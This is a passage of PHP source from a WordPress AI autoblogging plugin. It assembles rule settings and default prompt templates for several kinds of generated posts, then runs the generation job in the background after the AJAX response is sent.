$post_data['model'];//model $inner_arr[] = $post_data['headings'];//headings $inner_arr[] = $post_data['images'];//images $inner_arr[] = $post_data['videos'];//videos $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = $post_data['headings_list'];//headings_list $inner_arr[] = $post_data['images_list'];//images_list $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['title_model'];//title_model $inner_arr[] = $post_data['title_ai_command'];//title_ai_command $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['title_source'];//title_source $inner_arr[] = $post_data['headings_ai_command'];//headings_ai_command $inner_arr[] = $post_data['headings_model'];//headings_model $inner_arr[] = 'title';//posting_mode $inner_arr[] = '';//post_topic_list $inner_arr[] = '';//post_sections_list $inner_arr[] = 'English';//content_language $inner_arr[] = 'Creative';//writing_style $inner_arr[] = 'Neutral';//writing_tone $inner_arr[] = 'Write a title for an article about \"%%topic%%\" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.';//title_prompt $inner_arr[] = 'Write %%sections_count%% consecutive headings for an article about \"%%title%%\" that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don\'t add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else.';//sections_prompt $inner_arr[] = 'Write the content of a post section for the heading \"%%current_section%%\" in %%language%%. The title of the post is: \"%%title%%\". Don\'t add the title at the beginning of the created content. Be creative and unique. Don\'t repeat the heading in the created content. Don\'t add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.';//content_prompt $inner_arr[] = 'Write a short excerpt for an article about \"%%title%%\" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.';//excerpt_prompt $inner_arr[] = '3-4';//section_count $inner_arr[] = '2';//paragraph_count $inner_arr[] = 'gpt-4o-mini';//topic_title_model $inner_arr[] = 'gpt-4o-mini';//topic_sections_model $inner_arr[] = 'gpt-4o-mini';//topic_content_model $inner_arr[] = 'gpt-4o-mini';//topic_excerpt_model $inner_arr[] = '0';//single_content_call $inner_arr[] = 'Craft an introduction for an article about \"%%title%%\", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.';//intro_prompt $inner_arr[] = 'gpt-4o-mini';//topic_intro_model $inner_arr[] = 'Write an outro for an article about \"%%title%%\", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.';//outro_prompt $inner_arr[] = 'gpt-4o-mini';//topic_outro_model $inner_arr[] = '';//topic_images $inner_arr[] = 'h2';//sections_role $inner_arr[] = '';//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = '';//strip_by_regex_prompts $inner_arr[] = '';//replace_regex_prompts $inner_arr[] = 'content';//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = '0';//enable_toc $inner_arr[] = 'Table of Contents';//title_toc $inner_arr[] = 'Write a Q&A for an article about \"%%title%%\", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.';//qa_prompt $inner_arr[] = 'gpt-4o-mini';//topic_qa_model $inner_arr[] = '0';//enable_qa $inner_arr[] = 'Q&A';//title_qa $inner_arr[] = 'In Conclusion';//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = '1';//img_all_headings $inner_arr[] = 'top';//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = 'ai';//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 0; } elseif($selected == '2') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['url_list'];//url_list $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['default_lang'];//default_lang $inner_arr[] = $post_data['ai_titles'];//ai_titles $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['max_caption'];//max_caption $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = $post_data['no_random'];//no_random $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 1; } elseif($selected == '3') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['amazon_keyword'];//url_list $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['affiliate_id'];//affiliate_id $inner_arr[] = $post_data['first_hand'];//first_hand $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['max_products'];//max_products $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['target_country'];//target_country $inner_arr[] = $post_data['min_price'];//min_price $inner_arr[] = $post_data['max_price'];//max_price $inner_arr[] = $post_data['sort_results'];//sort_results $inner_arr[] = $post_data['shuffle_products'];//shuffle_products $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = '';//days_no_run $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['no_headlink'];//no_headlink $inner_arr[] = $post_data['enable_table'];//enable_table $inner_arr[] = $post_data['table_prompt'];//table_prompt $inner_arr[] = $post_data['topic_table_model'];//topic_table_model $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 2; } elseif($selected == '4') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['review_keyword'];//review_keyword $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['affiliate_id'];//affiliate_id $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['target_country'];//target_country $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = '';//days_no_run $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['point_of_view'];//point_of_view $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['proscons_prompt'];//proscons_prompt $inner_arr[] = $post_data['topic_proscons_model'];//topic_proscons_model $inner_arr[] = $post_data['title_proscons'];//title_proscons $inner_arr[] = $post_data['enable_proscons'];//enable_proscons $inner_arr[] = $post_data['title_reviews'];//title_reviews $inner_arr[] = $post_data['enable_reviews'];//enable_reviews $inner_arr[] = $post_data['reviews_prompt'];//reviews_prompt $inner_arr[] = $post_data['topic_reviews_model'];//topic_reviews_model $inner_arr[] = $post_data['no_headlink'];//no_headlink $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 3; } elseif($selected == '5') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '0';//enable_comments $inner_arr[] = $post_data['post_title'];//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = '';//wpml_lang $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//days_no_run $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['random_order'];//random_order $inner_arr[] = $post_data['csv_separator'];//csv_separator $type = 4; } elseif($selected == '6') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = 'test';//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['post_topic_list'];//post_topic_list $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = $post_data['title_generator_method'];//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 6; } $rules = array($inner_arr); aiomatic_job_set_status_pending($job_id, array('step' => 'Job started')); $response = json_encode(array('success' => true, 'data' => array('job_id' => $job_id))); // Send the response headers if (!headers_sent()) { header('Content-Type: application/json; charset=utf-8'); header('Content-Length: ' . strlen($response)); header('Connection: close'); header('Cache-Control: no-cache, must-revalidate'); header('X-Accel-Buffering: no'); } if (session_id()) { session_write_close(); } // Clear all other buffers while (ob_get_level() > 0) { ob_end_clean(); } // Turn off compression on the server if (function_exists('apache_setenv')) { apache_setenv('no-gzip', 1); } ini_set('zlib.output_compression', 0); // Flush all output to the client. The script will continue to run but the client connection will close echo $response; if (ob_get_level() > 0) { ob_flush(); } flush(); // If you're running PHP-FPM, this will finish the request and allow the script to run in the background if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } register_shutdown_function('aiomatic_fatal_clear_job', $job_id); //start actual work $return_me = aiomatic_run_rule(0, $type, 0, 1, $rules, '', ''); if(!is_array($return_me) || !isset($return_me[0]) || !isset($return_me[1])) { aiomatic_job_set_status_failed($job_id, 'Rule running failed: ' . print_r($return_me, true)); wp_die(); } else { aiomatic_job_set_status_completed($job_id, array('content' => $return_me[0], 'title' => $return_me[1] )); wp_die(); } } add_action( 'wp_ajax_aiomatic_execute_single_advanced', 'aiomatic_execute_single_advanced' ); function aiomatic_execute_single_advanced() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['post_data'])) { wp_send_json_error( array( 'message' => 'post_data is required!' ) ); } $post_data = $_POST['post_data']; if(empty($post_data)) { wp_send_json_error( array( 'message' => 'You need to enter a valid post_data!' ) ); } if(!isset($_POST['selected'])) { wp_send_json_error( array( 'message' => 'Selected options are required!' ) ); } $selected = $_POST['selected']; if($selected != '1a' && $selected != '1a-' && $selected != '1b' && $selected != '2' && $selected != '3' && $selected != '4' && $selected != '5' && $selected != '6') { wp_send_json_error( array( 'message' => 'Selected options are invalid: ' . $selected ) ); } if($selected == '1a') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = 'test';//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '500';//min_char $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = '';//ai_command $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = '';//max_continue_tokens $inner_arr[] = '';//model $inner_arr[] = 